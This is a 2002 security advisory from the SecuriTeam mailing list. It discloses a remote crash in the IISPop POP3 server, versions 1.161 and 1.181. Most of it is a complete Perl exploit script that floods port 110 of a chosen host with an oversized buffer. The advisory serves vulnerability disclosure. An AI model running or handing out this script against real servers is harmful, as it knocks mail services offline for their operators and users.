[NT] IISPop Remote DoS

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From: support@securiteam.com
To: list@securiteam.com
Date: 17 Nov 2002 21:15:15 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
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Beyond Security would like to welcome Tiscali World Online
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For more info on their service offering IP-Secure,
please visit http://www.worldonline.co.za/services/work_ip.asp
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  IISPop Remote DoS
------------------------------------------------------------------------

SUMMARY

 <http://www.curtiscomp.com/> IISPop Email Server was designed for small
networks. This POP3 only server was designed to be paired with the SMTP
server bundled running under the Windows 2000 operating system. A
vulnerability in the product allows remote attackers to cause the server
to crash by sending it a large buffer.

DETAILS

Vulnerable systems:
 * IISPop version 1.161 and 1.181

Exploit:
#!/usr/bin/perl -w
# tool : iispdos.pl
# shutdown all version of IISPop
# greetz crack.fr , marocit ,christal
#
 
use IO::Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
print "\n-->";
 print "\tUsage: perl iispdos.pl <host> \n";
exit;
}

$remo = $ARGV[0];
$buffer = "A" x 289999;

print "\n-->";
print "\tconnection with $remo\n";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $remo,
PeerPort
=> "110"))
{
 print "-->";
 print "\tConnection Failed...\n";
 exit;
}
print $so "$buffer\n";
close $so;

print "-->";
print "\tnow test if the distant host is down\n";
exit;

ADDITIONAL INFORMATION

The information has been provided by <mailto:securma@caramail.com>
securma massine.

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